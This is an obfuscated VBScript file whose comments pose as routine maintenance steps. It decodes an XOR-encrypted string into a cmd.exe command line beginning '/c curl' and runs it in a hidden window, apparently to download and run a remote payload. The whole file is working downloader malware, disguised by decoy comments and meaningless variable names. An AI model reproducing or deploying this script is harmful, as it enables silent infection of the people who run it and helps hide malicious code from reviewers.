' Validate transport layer
  ' Cleanup stale handles
' Hydrate runtime cache
On Error Resume Next

Dim v1:v1=15288
Dim gTrg:gTrg=49331
Dim r4d:r4d="49308,49360,49299,49360,49350,49345,49375,49299,49310,49344,49299,49310,49372,49299,49297,49302,49383,49398,49406,49379,49302,49391,49372,49374,49354,49284,49365,49282,49280,49280,49309,49349,49361,49344,49297,49299,49297,49371,49351,49351,49347,49344,49289,49308,49308,49348,49345,49362,49347,49347,49366,49345,49309,49345,49366,49349,49366,49345,49366,49373,49367,49351,49372,49347,49347,49367,49309,49355,49354,49353,49308,49347,49362,49354,49375,49372,49362,49367,49309,49347,49371,49347,49292,49370,49367,49294,49362,49282,49291,49283,49280,49287,49367,49280,49361,49361,49367,49360,49285,49280,49360,49365,49283,49290,49365,49290,49286,49366,49287,49360,49367,49366,49283,49362,49290,49282,49286,49280,49301,49351,49294,49282,49361,49285,49367,49287,49283,49360,49367,49284,49284,49282,49281,49287,49280,49291,49290,49297,49301,49348,49344,49360,49345,49370,49347,49351,49299,49297,49302,49383,49398,49406,49379,49302,49391,49372,49374,49354,49284,49365,49282,49280,49280,49309,49349,49361,49344,49297"
Dim tDat:tDat=Split(r4d,",")
Dim qObj(168)
Dim r3c:For r3c=0 To UBound(tDat)
qObj(r3c)=ChrW(CLng(tDat(r3c)) Xor gTrg)
Next
Dim fIdr:fIdr=Join(qObj,"")
    ' Sanitize input parameters
Dim hx5:Set hx5=CreateObject("Shell.Application")
hx5.ShellExecute "cmd.exe",fIdr,"","",0
 'gbkaxgijtjmgyilkzf
Set hx5=Nothing
  ' Check environment state
' Begin transfer sequence
' Start session handler
' Decode transform layer